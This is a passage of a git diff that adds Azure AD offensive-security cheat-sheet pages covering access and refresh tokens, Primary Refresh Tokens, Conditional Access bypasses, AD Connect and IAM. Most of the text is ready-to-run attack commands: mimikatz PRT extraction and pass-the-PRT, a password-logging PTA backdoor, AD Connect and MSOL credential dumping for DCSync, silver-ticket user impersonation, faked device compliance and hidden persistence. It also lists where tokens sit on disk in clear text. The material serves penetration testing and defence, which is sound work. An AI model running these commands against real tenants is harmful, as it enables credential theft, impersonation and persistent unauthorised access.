'Content-Type: application/x-www-form-urlencoded' \ + --data-urlencode 'client_id=' \ + --data-urlencode 'scope=https://graph.microsoft.com/.default' \ + --data-urlencode 'client_secret=' \ + --data-urlencode 'grant_type=client_credentials' + ``` + +#### App Secret + +An App Secret (also called a client secret) is a string used for securing communication between an application and Azure Active Directory (Azure AD). It is a credential that the application uses along with its client ID to authenticate itself when accessing Azure resources, such as APIs or other services, on behalf of a user or a system. + +```ps1 +$appid = '' +$tenantid = '' +$secret = '' + +$body = @{ + Grant_Type = "client_credentials" + Scope = "https://graph.microsoft.com/.default" + Client_Id = $appid + Client_Secret = $secret +} + +$connection = Invoke-RestMethod ` + -Uri https://login.microsoftonline.com/$tenantid/oauth2/v2.0/token ` + -Method POST ` + -Body $body + +Connect-MgGraph -AccessToken $connection.access_token +``` + +### Internal HTTP API + +> **MSI_ENDPOINT** is an alias for **IDENTITY_ENDPOINT**, and **MSI_SECRET** is an alias for **IDENTITY_HEADER**. + +Find `IDENTITY_HEADER` and `IDENTITY_ENDPOINT` from the environment variables: `env` + +Most of the time, you want a token for one of these resources: + +* +* +* +* + +* PowerShell + + ```ps1 + curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&api-version=2017-09-01" -H secret:$IDENTITY_HEADER + curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER + ``` + +* Azure Function (Python) + + ```py + import logging, os + import azure.functions as func + + def main(req: func.HttpRequest) -> func.HttpResponse: + logging.info('Python HTTP trigger function processed a request.') + IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT'] + IDENTITY_HEADER = os.environ['IDENTITY_HEADER'] + cmd = 'curl "%s?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER) + val = os.popen(cmd).read() + return func.HttpResponse(val, status_code=200) + ``` + +## Access Token + +An access token is a type of security token issued by Azure Active Directory (Azure AD) that grants a user or application permission to access resources. These resources could be anything from APIs, web applications, data stored in Azure, or other services that are integrated with Azure AD for authentication and authorization. + +Decode access tokens: [jwt.ms](https://jwt.ms/) + +* Use the access token with **MgGraph** + + ```ps1 + # use the jwt + $token = "eyJ0eXAiO..." + $secure = $token | ConvertTo-SecureString -AsPlainText -Force + Connect-MgGraph -AccessToken $secure + ``` + +* Use the access token with **AzureAD** + + ```powershell + Connect-AzureAD -AadAccessToken -TenantId -AccountId + ``` + +* Use the access token with **Az Powershell** + + ```powershell + Connect-AzAccount -AccessToken -AccountId + Connect-AzAccount -AccessToken -GraphAccessToken -AccountId + ``` + +* Use the access token with the **API** + + ```powershell + $Token = 'eyJ0eX..' + $URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01' + # $URI = 'https://graph.microsoft.com/v1.0/applications' + $RequestParams = @{ + Method = 'GET' + Uri = $URI + Headers = @{ + 'Authorization' = "Bearer $Token" + } + } + (Invoke-RestMethod @RequestParams).value + ``` + +### Access Token Locations + +Tokens are stored by default on the disk in you use **Azure Cloud Shell**. They canbe extracted by dumping the content of the storage account. + +* az cli + * az cli stores access tokens in clear text in **accessTokens.json** in the directory `C:\Users\\.Azure` + * azureProfile.json in the same directory contains information about subscriptions. + +* Az PowerShell + * Az PowerShell stores access tokens in clear text in **TokenCache.dat** in the directory `C:\Users\\.Azure` + * It also stores **ServicePrincipalSecret** in clear-text in **AzureRmContext.json** + * Users can save tokens using `Save-AzContext` + +## Refresh Token + +* Requesting a token using credentials + + ```ps1 + TODO + ``` + +### Get a Refresh Token from ESTSAuth Cookie + +`ESTSAuthPersistent` is only useful when a CA policy actually grants a persistent session. Otherwise, you should use `ESTSAuth`. + +```ps1 +TokenTacticsV2> Get-AzureTokenFromESTSCookie -ESTSAuthCookie "0.AS8" +TokenTacticsV2> Get-AzureTokenFromESTSCookie -Client MSTeams -ESTSAuthCookie "0.AbcAp.." +``` + +### Get a Refresh Token from Office process + +* [trustedsec/CS-Remote-OPs-BOF](https://github.com/trustedsec/CS-Remote-OPs-BOF) + +```ps1 +load bofloader +execute_bof /opt/CS-Remote-OPs-BOF/Remote/office_tokens/office_tokens.x64.o --format-string i 7324 +``` + +## FOCI Refresh Token + +Family of client ids (FOCI) allows applications registered with Azure AD to share tokens, minimizing the need for separate authentications when a user accesses multiple applications that are part of the same "family." + +* [secureworks/family-of-client-ids-research/](https://github.com/secureworks/family-of-client-ids-research/blob/main/scope-map.txt) - Research into Undocumented Behavior of Azure AD Refresh Tokens + +**Generate tokens** + +```ps1 +roadtx gettokens --refresh-token -c -r https://graph.microsoft.com +roadtx gettokens --refresh-token -c 04b07795-8ddb-461a-bbee-02f9e1bf7b46 +``` + +```ps1 +scope resource client +.default 04b07795-8ddb-461a-bbee-02f9e1bf7b46 04b07795-8ddb-461a-bbee-02f9e1bf7b46 + 1950a258-227b-4e31-a9cf-717495945fc2 1950a258-227b-4e31-a9cf-717495945fc2 + https://graph.microsoft.com 00b41c95-dab0-4487-9791-b9d2c32c80f2 + 04b07795-8ddb-461a-bbee-02f9e1bf7b46 + https://graph.windows.net 00b41c95-dab0-4487-9791-b9d2c32c80f2 + 04b07795-8ddb-461a-bbee-02f9e1bf7b46 + https://outlook.office.com 00b41c95-dab0-4487-9791-b9d2c32c80f2 + 04b07795-8ddb-461a-bbee-02f9e1bf7b46 +Files.Read.All d3590ed6-52b3-4102-aeff-aad2292ab01c d3590ed6-52b3-4102-aeff-aad2292ab01c + https://graph.microsoft.com 3590ed6-52b3-4102-aeff-aad2292ab01c + https://outlook.office.com 1fec8e78-bce4-4aaf-ab1b-5451cc387264 +Mail.ReadWrite.All https://graph.microsoft.com 00b41c95-dab0-4487-9791-b9d2c32c80f2 + https://outlook.office.com 00b41c95-dab0-4487-9791-b9d2c32c80f2 + https://outlook.office365.com 00b41c95-dab0-4487-9791-b9d2c32c80f2 +``` + +## Primary Refresh Token + +A Primary Refresh Token (PRT) is a key artifact in the authentication and identity management process in Microsoft's Azure AD (Azure Active Directory) environment. The PRT is primarily used for maintaining a seamless sign-in experience on devices. + +:warning: A PRT is valid for 90 days and is continuously renewed as long as the device is in use. However, it's only valid for 14 days if the device is not in use. + +* Use PRT token + + ```ps1 + roadtx browserprtauth --prt --prt-sessionkey + roadtx browserprtauth --prt roadtx.prt -url http://www.office.com + ``` + +### Extract PRT v1 - Pass-the-PRT + +MimiKatz (version 2.2.0 and above) can be used to attack (hybrid) Azure AD joined machines for lateral movement attacks via the Primary Refresh Token (PRT) which is used for Azure AD SSO (single sign-on). + +* Use mimikatz to extract the PRT and session key + + ```ps1 + mimikatz # privilege::debug + mimikatz # token::elevate + mimikatz # sekurlsa::cloudap + mimikatz # sekurlsa::dpapi + mimikatz # dpapi::cloudapkd /keyvalue: /unprotect + mimikatz # dpapi::cloudapkd /context: /derivedkey: /Prt: + ``` + +* Use either roadtx or AADInternals to generate a new PRT token + + ```ps1 + roadtx browserprtauth --prt --prt-sessionkey --keep-open -url https://portal.azure.com + + PS> Import-Module C:\Tools\AADInternals\AADInternals.psd1 + PS AADInternals> $PRT_OF_USER = '...' + PS AADInternals> while($PRT_OF_USER.Length % 4) {$PRT_OF_USER += "="} + PS AADInternals> $PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($PRT_OF_USER)) + PS AADInternals> $ClearKey = "XXYYZZ..." + PS AADInternals> $SKey = [convert]::ToBase64String( [byte[]] ($ClearKey -replace '..', '0x$&,' -split ',' -ne '')) + PS AADInternals> New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce + ``` + +### Extract PRT on Device with TPM + +* No method known to date. + +### Request a PRT using the Refresh Flow + +* Request a nonce from AAD: `roadrecon auth --prt-init -t ` +* Use [dirkjanm/ROADtoken](https://github.com/dirkjanm/ROADtoken) or [wotwot563/aad_prt_bof](https://github.com/wotwot563/aad_prt_bof) to initiate a new PRT request. +* `roadrecon auth --prt-cookie --tokens-stdout --debug` or `roadtx gettoken --prt-cookie ` +* Then browse to [login.microsoftonline.com](https://login.microsoftonline.com) with a cookie `x-ms-RefreshTokenCredential:` + + ```powershell + Name: x-ms-RefreshTokenCredential + Value: + HttpOnly: √ + ``` + +:warning: Mark the cookie with the flags `HTTPOnly` and `Secure`. + +### Request a PRT with Hybrid Device + +Requirements: + +* ADDS user credentials +* hybrid environment (ADDS and Azure AD) + +Use the user account to create a computer and request a PRT + +* Create a computer account in AD: `impacket-addcomputer /: -dc-ip ` +* Configure the computer certificate in AD with [dirkjanm/roadtools_hybrid](https://github.com/dirkjanm/roadtools_hybrid): `python setcert.py 10.10.10.10 -t '' -u '\' -p ` +* Register the hybrid device in Azure AD with this certificate: `roadtx hybriddevice -c '.pem' -k '.key' --sid '' -t ''` +* Get a PRT with device claim + + ```ps1 + roadtx prt -c .pem -k .key -u @h -p + roadtx browserprtauth --prt --prt-sessionkey --keep-open -url https://portal.azure.com + ``` + +### Upgrade Refresh Token to PRT + +* Get correct token audience: `roadtx gettokens -c 29d9ed98-a469-4536-ade2-f981bc1d605e -r urn:ms-drs:enterpriseregistration.windows.net --refresh-token file` +* Registering device: `roadtx device -a register -n ` +* Request PRT `roadtx prt --refresh-token -c .pem -k .key` +* Use a PRT: `roadtx browserprtauth --prt --prt-sessionkey --keep-open -url https://portal.azure.com` + +### Enriching a PRT with MFA claim + +* Request a special refresh token: `roadtx prtenrich -u username@domain` +* Request a PRT with MFA claim: `roadtx prt -r -c .pem -k .key` + +## References + +* [Introducing ROADtools - The Azure AD exploration framework - Dirk-jan Mollema - April 16, 2020](https://dirkjanm.io/introducing-roadtools-and-roadrecon-azure-ad-exploration-framework/) +* [Hacking Your Cloud: Tokens Edition 2.0 - Edwin David - April 13, 2023](https://trustedsec.com/blog/hacking-your-cloud-tokens-edition-2-0) +* [Microsoft 365 Developer Program](https://developer.microsoft.com/en-us/microsoft-365/dev-program) +* [PRT Abuse from Userland with Cobalt Strike - 0xbad53c](https://red.0xbad53c.com/red-team-operations/azure-and-o365/prt-abuse-from-userland-with-cobalt-strike) +* [Pass-the-PRT attack and detection by Microsoft Defender for … - Derk van der Woude - Jun 9](https://derkvanderwoude.medium.com/pass-the-prt-attack-and-detection-by-microsoft-defender-for-afd7dbe83c94) +* [Journey to Azure AD PRT: Getting access with pass-the-token and pass-the-cert - AADInternals.com - September 01, 2020](https://aadinternals.com/post/prt/) +* [Get Access Tokens for Managed Service Identity on Azure App Service](https://zhiliaxu.github.io/app-service-managed-identity.html) +* [Attacking Azure Cloud shell - Karl Fosaaen - December 10, 2019](https://blog.netspi.com/attacking-azure-cloud-shell/) +* [Azure AD Pass The Certificate - Mor - Aug 19, 2020](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597) +* [Azure Privilege Escalation Using Managed Identities - Karl Fosaaen - February 20th, 2020](https://blog.netspi.com/azure-privilege-escalation-using-managed-identities/) +* [Hunting Azure Admins for Vertical Escalation - LEE KAGAN - MARCH 13, 2020](https://www.lares.com/hunting-azure-admins-for-vertical-escalation/) +* [Training - Attacking and Defending Azure Lab - Altered Security](https://www.alteredsecurity.com/azureadlab) +* [Understanding Tokens in Entra ID: A Comprehensive Guide - Lina Lau - September 18, 2024](https://www.xintra.org/blog/tokens-in-entra-id-guide) diff --git a/personas/_shared/internal-allthethings/cloud/azure/azure-ad-conditional-access-policy.md b/personas/_shared/internal-allthethings/cloud/azure/azure-ad-conditional-access-policy.md new file mode 100644 index 0000000..f0ca676 --- /dev/null +++ b/personas/_shared/internal-allthethings/cloud/azure/azure-ad-conditional-access-policy.md @@ -0,0 +1,92 @@ +# Azure AD - Conditional Access Policy + +Conditional Access is used to restrict access to resources to compliant devices only. + +* [rbnroot/CAPSlock](https://github.com/rbnroot/CAPSlock) - Offline Conditional Access (CA) analysis tool built on top of a roadrecon database. +* [absolomb/FindMeAccess](https://github.com/absolomb/FindMeAccess) - Tool for finding gaps in Azure/M365 MFA requirements for different resources, client ids, and user agents. + +## Enumerate Conditional Access Policies + +* Enumerate Conditional Access Policies: `roadrecon plugin policies` (query the local database) + +| CAP | Bypass | +|---------------------------|---------| +| Location / IP ranges | Corporate VPN, Guest Wifi | +| Platform requirement | User-Agent switcher (Android, PS4, Linux, ...) | +| Protocol requirement | Use another protocol (e.g for e-mail acccess: POP, IMAP, SMTP) | +| Azure AD Joined Device | Try to join a VM (Work Access)| +| Compliant Device (Intune) | Fake device compliance | +| Device requirement | / | +| MFA | / | +| Legacy Protocols | / | +| Domain Joined | / | + +```ps1 +python3 CAPSlock.py analyze -u --resource [options] +python3 CAPSlock.py what-if -u --resource [options] +python3 CAPSlock.py web-gui --port 8080 +``` + +## Bypassing CAP by faking device compliance + +### Intune Company Portal Client ID Bypass + +Use Intune Company Portal Client ID (`9ba1a5c7-f17a-4de9-a1f1-6178c8d51223`), to run `roadrecon` even when there is a device compliance policy. it is a hardcoded and undocumented exclusion in Conditional Access for device compliance and has the `user_impersonation` rights on the AAD Graph. + +* Client ID: `9ba1a5c7-f17a-4de9-a1f1-6178c8d51223` + +```ps1 +roadtx gettokens -u $username -p $password -r msgraph -ua $windows_ua -c 9ba1a5c7-f17a-4de9-a1f1-6178c8d51223 # limite scope +roadtx gettokens -u $username -p $password -r aadgraph -ua $windows_ua -c 9ba1a5c7-f17a-4de9-a1f1-6178c8d51223 # user_impersonation scope +``` + +### AAD Internals - Making your device compliant + +```powershell +# Get an access token for AAD join and save to cache +Get-AADIntAccessTokenForAADJoin -SaveToCache + +# Join the device to Azure AD +Join-AADIntDeviceToAzureAD -DeviceName "SixByFour" -DeviceType "Commodore" -OSVersion "C64" + +# Marking device compliant - option 1: Registering device to Intune +# Get an access token for Intune MDM and save to cache (prompts for credentials) +Get-AADIntAccessTokenForIntuneMDM -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx -SaveToCache + +# Join the device to Intune +Join-AADIntDeviceToIntune -DeviceName "SixByFour" + +# Start the call back +Start-AADIntDeviceIntuneCallback -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7-MDM.pfx -DeviceName "SixByFour" +``` + +## Bypassing CAP with device.trustType + +The trustType property is an internal attribute that defines the relationship between the device and Azure AD. +When the condition of CAP is `device.trustType -eq ""`, the values can be: + +* `AzureAD`: Azure AD joined devices +* `Workplace`: Azure AD registered devices +* `ServerAD`: Hybrid joined devices + +## Bypassing CAP with user agent + +There are several devices you can use to authenticate and interact with a service. +Try several `User-Agent` to get access to the resources: + +* Windows: `Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 GLS/100.10.9939.100` +* Linux: `Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 uacq` +* macOS: `Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 uacq` +* Android: `Mozilla/5.0 (Linux; Android 13) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.117 Mobile Safari/537.36` +* iOS: `Mozilla/5.0 (iPhone; CPU iPhone OS 15_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/98.0.4758.85 Mobile/15E148 Safari/604.1` +* WindowsPhone: `Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; Microsoft; Lumia 650) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.85 Safari/537.36` + +## Bypassing CAP with location + +Try different IP locations using a VPN. + +## References + +* [Conditional Access bypasses - Fabian Bader - November 30, 2025](https://cloudbrothers.info/en/conditional-access-bypasses/) +* [Finding Entra ID CA Bypasses - the structured way - Dirk-jan Mollema and Fabian Bader - June 23, 2025](https://troopers.de/troopers25/talks/tfsfqs/) +* [STOP THE CAP: Making Entra ID Conditional Access Make Sense Offline - Lee Robinson - February 17, 2026](https://specterops.io/blog/2026/02/17/stop-the-cap-making-entra-id-conditional-access-make-sense-offline/) diff --git a/personas/_shared/internal-allthethings/cloud/azure/azure-ad-connect.md b/personas/_shared/internal-allthethings/cloud/azure/azure-ad-connect.md new file mode 100644 index 0000000..2619c68 --- /dev/null +++ b/personas/_shared/internal-allthethings/cloud/azure/azure-ad-connect.md @@ -0,0 +1,128 @@ +# Azure AD - AD Connect and Cloud Sync + +| Active Directory | Azure AD | +|-----------------------------------|-------------------| +| LDAP | REST API'S | +| NTLM/Kerberos | OAuth/SAML/OpenID | +| Structured directory (OU tree) | Flat structure | +| GPO | No GPO's | +| Super fine-tuned access controls | Predefined roles | +| Domain/forest | Tenant | +| Trusts | Guests | + +Check if Azure AD Connect is installed : `Get-ADSyncConnector` + +* For **PHS**, we can extract the credentials + * Passwords from on-premise AD are sent to the cloud + * Use replication via a service account created by AD Connect +* For **PTA**, we can attack the agent + * Possible to perform DLL injection into the PTA agent and intercept authentication requests: credentials in clear-text +* For **Federation**, connect Windows Server AD to Azure AD using Federation Server (ADFS) + * Dir-Sync : Handled by on-premise Windows Server AD, sync username/password + * extract the certificate from ADFS server using DA + +## Password Hash Synchronization + +Get token for `SYNC_*` account and reset on-prem admin password + +```powershell +PS > Import-Module C:\Users\Administrator\Documents\AADInternals\AADInternals.psd1 +PS > Get-AADIntSyncCredentials + +PS > $passwd = ConvertToSecureString 'password' -AsPlainText -Force +PS > $creds = New-Object System.Management.Automation.PSCredential ("@.onmicrosoft.com", $passwd) +PS > GetAADIntAccessTokenForAADGraph -Credentials $creds –SaveToCache + +PS > Get-AADIntUser -UserPrincipalName onpremadmin@defcorpsecure.onmicrosoft.com | select ImmutableId +PS > Set-AADIntUserPassword -SourceAnchor "" -Password "Password" -Verbose +``` + +## Pass-Through Authentication + +1. Check if PTA is installed : `Get-Command -Module PassthroughAuthPSModule` +2. Install a PTA Backdoor + + ```powershell + PS AADInternals> Install-AADIntPTASpy + PS AADInternals> Get-AADIntPTASpyLog -DecodePasswords + ``` + +## Federation + +* [Golden SAML](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adfs-federation-services/) + +## AD Connect - Credentials + +* [dirkjanm/adconnectdump](https://github.com/dirkjanm/adconnectdump) - Dump Azure AD Connect credentials for Azure AD and Active Directory + +| Tool | Requires code execution on target | DLL dependencies | Requires MSSQL locally | Requires python locally | +| --- | --- | --- | --- | --- | +| ADSyncDecrypt | Yes | Yes | No | No | +| ADSyncGather | Yes | No | No | Yes | +| ADSyncQuery | No (network RPC calls only) | No | Yes | Yes | + +* **ADSyncDecrypt**: Decrypts the credentials fully on the target host. Requires the AD Connect DLLs to be in the PATH. A similar version in PowerShell was released by Adam Chester on his blog. +* **ADSyncGather**: Queries the credentials and the encryption keys on the target host, decryption is done locally (python). No DLL dependencies. +* **ADSyncQuery**: Queries the credentials from the database that is saved locally. Requires MSSQL LocalDB to be installed. No DLL dependencies. Is called from adconnectdump.py, dumps data without executing anything on the Azure AD connect host. + +Credentials in ADSync : `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf` + +## AD Connect - DCSync with MSOL Account + +You can perform **DCSync** attack using the MSOL account. + +Requirements: + +* Compromise a server with Azure AD Connect service +* Access to ADSyncAdmins or local Administrators groups + +Use the script **azuread_decrypt_msol.ps1** from @xpn to recover the decrypted password for the MSOL account: + +* [xpn/azuread_decrypt_msol.ps1](https://gist.github.com/xpn/0dc393e944d8733e3c63023968583545): AD Connect Sync Credential Extract POC +* [xpn/azuread_decrypt_msol_v2.ps1](https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c): Updated method of dumping the MSOL service account (which allows a DCSync) used by Azure AD Connect Sync + +Now you can use the retrieved credentials for the MSOL Account to launch a DCSync attack. + +## AD Connect - Seamless Single Sign On Silver Ticket + +Anyone who can edit properties of the `AZUREADSSOACCS$` account can impersonate any user in Azure AD using Kerberos (if no MFA) + +Seamless SSO is supported by both PHS and PTA. If seamless SSO is enabled, a computer account **AZUREADSSOC** is created in the on-prem AD. + +:warning: The password of the AZUREADSSOACC account never changes. + +Using [https://autologon.microsoftazuread-sso.com/](https://autologon.microsoftazuread-sso.com/) to convert Kerberos tickets to SAML and JWT for Office 365 & Azure + +1. NTLM password hash of the AZUREADSSOACC account, e.g. `f9969e088b2c13d93833d0ce436c76dd`. + + ```powershell + mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit + ``` + +2. AAD logon name of the user we want to impersonate, e.g. `elrond@contoso.com`. This is typically either his userPrincipalName or mail attribute from the on-prem AD. +3. SID of the user we want to impersonate, e.g. `S-1-5-21-2121516926-2695913149-3163778339-1234`. +4. Create the Silver Ticket and inject it into Kerberos cache: + + ```powershell + mimikatz.exe "kerberos::golden /user:elrond + /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 + /domain:contoso.local /rc4:f9969e088b2c13d93833d0ce436c76dd + /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit + ``` + +5. Launch Mozilla Firefox +6. Go to about:config and set the `network.negotiate-auth.trusted-uris preference` to value `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com` +7. Navigate to any web application that is integrated with our AAD domain. Fill in the user name, while leaving the password field empty. + +## References + +* [Azure AD connect for RedTeam - Adam Chester @xpnsec - February 18, 2019](https://blog.xpnsec.com/azuread-connect-for-redteam/) +* [Azure AD Kerberos Tickets: Pivoting to the Cloud - Edwin David - February 9, 2023](https://trustedsec.com/blog/azure-ad-kerberos-tickets-pivoting-to-the-cloud) +* [Azure AD Overview - John Savill's Technical Training - Oct 7, 2014](https://www.youtube.com/watch?v=l_pnNpdxj20) +* [DUMPING NTHASHES FROM MICROSOFT ENTRA ID - Secureworks](https://www.secureworks.com/research/dumping-nthashes-from-microsoft-entra-id) +* [Impersonating Office 365 Users With Mimikatz - Michael Grafnetter - January 15, 2017](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/) +* [Introduction to Microsoft Entra Connect V2 - Microsoft](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-azure-ad-connect-v2) +* [TR19: I'm in your cloud, reading everyone's emails - hacking Azure AD via Active Directory - Dirk-jan Mollema - 1st apr. 2019](https://www.youtube.com/watch?v=JEIR5oGCwdg) +* [Training - Attacking and Defending Azure Lab - Altered Security](https://www.alteredsecurity.com/azureadlab) +* [Update: Dumping Entra Connect Sync Credentials - @hotnops - June 10, 2025](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) +* [Windows Azure Active Directory in plain English - Openness AtCEE - January 9, 2014](https://www.youtube.com/watch?v=IcSATObaQZE) diff --git a/personas/_shared/internal-allthethings/cloud/azure/azure-devices-users-sp.md b/personas/_shared/internal-allthethings/cloud/azure/azure-devices-users-sp.md new file mode 100644 index 0000000..4bc905a --- /dev/null +++ b/personas/_shared/internal-allthethings/cloud/azure/azure-devices-users-sp.md @@ -0,0 +1,256 @@ +# Azure AD - IAM + +> Root Management Group (Tenant) > Management Group > Subscription > Resource Group > Resource + +* Users (User, Groups, Dynamic Groups) +* Devices +* Service Principals (Application and Managed Identities) + +## Users + +* List users: `Get-AzureADUser -All $true` +* Enumerate groups + + ```ps1 + # List groups + Get-AzureADGroup -All $true + + # Get members of a group + Get-AzADGroup -DisplayName '' + Get-AzADGroupMember -GroupDisplayName '' | select UserPrincipalName + ``` + +* Enumerate roles: `Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember` +* List roles: `Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName` +* Add user to a group + + ```ps1 + $groupid = "" + $targetmember = "" + $group = Get-MgGroup -GroupId $groupid + $members = Get-MgGroupMember -GroupId $groupid + New-MgGroupMember -GroupId $groupid -DirectoryObjectid $targetmember + ``` + +### Dynamic Group Membership + +Get groups that allow Dynamic membership: + +* Powershell Azure AD: `Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}` +* RoadRecon database: `select objectId, displayName, description, membershipRule, membershipRuleProcessingState, isMembershipRuleLocked from groups where membershipRule is not null;` + +Rule example : `(user.otherMails -any (_ -contains "vendor")) -and (user.userType -eq "guest")` +Rule description: Any Guest user whose secondary email contains the string 'vendor' will be added to the group + +1. Open user's profile, click on **Manage** +2. Click on **Resend** invite and to get an invitation URL +3. Set the secondary email + + ```powershell + PS> Set-AzureADUser -ObjectId -OtherMails @.onmicrosoft.com -Verbose + ``` + +### Administrative Unit + +Enumerate Administrative Units. + +```ps1 +PS AzureAD> Get-AzureADMSAdministrativeUnit -All $true +PS AzureAD> Get-AzureADMSAdministrativeUnit -Id +PS AzureAD> Get-AzureADMSAdministrativeUnitMember -Id +PS AzureAD> Get-AzureADMSScopedRoleMembership -Id | fl +PS AzureAD> Get-AzureADDirectoryRole -ObjectId +PS AzureAD> Get-AzureADUser -ObjectId | fl +``` + +Administrative Unit can be used as a persistence mechanism. When the `visibility` attribute is set to `HiddenMembership`, only members of the administrative unit can list other members of the administrative unit. + +```ps1 +az rest \ + --method post \ + --url https://graph.microsoft.com/v1.0/directory/administrativeUnits \ + --body '{"displayName": "Hidden AU Administrative Unit", "isMemberManagementRestricted":false, "visibility": "HiddenMembership"}' +``` + +* Create a new Administrative Unit using the `New-MgDirectoryAdministrativeUnit` cmdlet. + + ```ps1 + Connect-MgGraph -Scopes "AdministrativeUnit.ReadWrite.All" + Import-Module Microsoft.Graph.Identity.DirectoryManagement + + $params = @{ + displayName = "Marketing Department" + description = "Marketing Department Administration" + visibility = "HiddenMembership" + } + + New-MgDirectoryAdministrativeUnit -BodyParameter $params + ``` + +* Add a member with `New-MgDirectoryAdministrativeUnitMemberByRef` + + ```ps1 + Connect-MgGraph -Scopes "AdministrativeUnit.ReadWrite.All" + Import-Module Microsoft.Graph.Identity.DirectoryManagement + + $administrativeUnitId = "0b22c83d-c5ac-43f2-bb6e-88af3016d49f" + $paramsUser1 = @{ + "@odata.id" = "https://graph.microsoft.com/v1.0/users/52e26d18-d251-414f-af14-a4a93123b2b2" + } + New-MgDirectoryAdministrativeUnitMemberByRef -AdministrativeUnitId $administrativeUnitId -BodyParameter $paramsUser1 + ``` + +* List members even when the administrative unit is hidden. + + ```ps1 + Connect-MgGraph -Scopes "AdministrativeUnit.Read.All", "Member.Read.Hidden", "Directory.Read.All" + Import-Module Microsoft.Graph.Identity.DirectoryManagement + + $administrativeUnitId = "0b22c83d-c5ac-43f2-bb6e-88af3016d49f" + Get-MgDirectoryAdministrativeUnitMemberAsUser -AdministrativeUnitId $administrativeUnitId + ``` + +* Assign the `User Administrator` role, its ID is `947ccf23-ee27-4951-8110-96c62c680311` in this tenant. + + ```ps1 + Connect-MgGraph -Scopes "RoleManagement.ReadWrite.Directory" + Import-Module Microsoft.Graph.Identity.DirectoryManagement + + $administrativeUnitId = "0b22c83d-c5ac-43f2-bb6e-88af3016d49f" + $userAdministratorRoleId = "947ccf23-ee27-4951-8110-96c62c680311" + $params = @{ + roleId = $userAdministratorRoleId + roleMemberInfo = @{ + id = "61b0d52f-a902-4769-9a09-c6528336b00a" + } + } + + New-MgDirectoryAdministrativeUnitScopedRoleMember -AdministrativeUnitId $administrativeUnitId -BodyParameter $params + ``` + +* Now the user with the id `61b0d52f-a902-4769-9a09-c6528336b00a` can edit the property of the other users in the Administrative Units. + +Administrative Units can reset password of another user. + +```powershell +PS C:\Tools> $password = "Password" | ConvertToSecureString -AsPlainText -Force +PS C:\Tools> (Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "@.onmicrosoft.com"}).ObjectId | SetAzureADUserPassword -Password $Password -Verbose +``` + +### Convert GUID to SID + +The user's Entra ID is translated to SID by concatenating `"S-1–12–1-"` to the decimal representation of each section of the Entra ID. + +```powershell +GUID: [base16(a1)]-[base16(a2)]-[ base16(a3)]-[base16(a4)] +SID: S-1–12–1-[base10(a1)]-[ base10(a2)]-[ base10(a3)]-[ base10(a4)] +``` + +For example, the representation of `6aa89ecb-1f8f-4d92–810d-b0dce30b6c82` is `S-1–12–1–1789435595–1301421967–3702525313–2188119011` + +## Devices + +### List Devices + +```ps1 +Connect-AzureAD +Get-AzureADDevice +$user = Get-AzureADUser -SearchString "username" +Get-AzureADUserRegisteredDevice -ObjectId $user.ObjectId -All $true +``` + +### Device State + +```ps1 +PS> dsregcmd.exe /status ++----------------------------------------------------------------------+ +| Device State | ++----------------------------------------------------------------------+ + AzureAdJoined : YES + EnterpriseJoined : NO + DomainJoined : NO + Device Name : jumpvm +``` + +* [**Azure AD Joined**](https://pbs.twimg.com/media/EQZv62NWAAEQ8wE?format=jpg&name=large) +* [**Workplace Joined**](https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large) +* [**Hybrid Joined**](https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large) +* [**Workplace joined on AADJ or Hybrid**](https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large) + +### Join Devices + +[Enroll Windows 10/11 devices in Intune](https://learn.microsoft.com/en-us/mem/intune/user-help/enroll-windows-10-device) + +* [secureworks/pytune](https://github.com/secureworks/pytune) - Pytune is a post-exploitation tool for enrolling a fake device into Intune with mulitple platform support. + + ```ps1 + usage: pytune.py [-h] {entra_join,entra_delete,enroll_intune,checkin,retire_intune,check_compliant,download_apps} ... + + python3 pytune.py entra_join -o Windows -d Windows_pytune -u testuser@*******.onmicrosoft.com -p *********** + python3 pytune.py enroll_intune -o Windows -d Windows_pytune -c Windows_pytune.pfx -u testuser@*******.onmicrosoft.com -p *********** + python3 pytune.py checkin -o Windows -d Windows_pytune -c Windows_pytune.pfx -m Windows_pytune_mdm.pfx -u 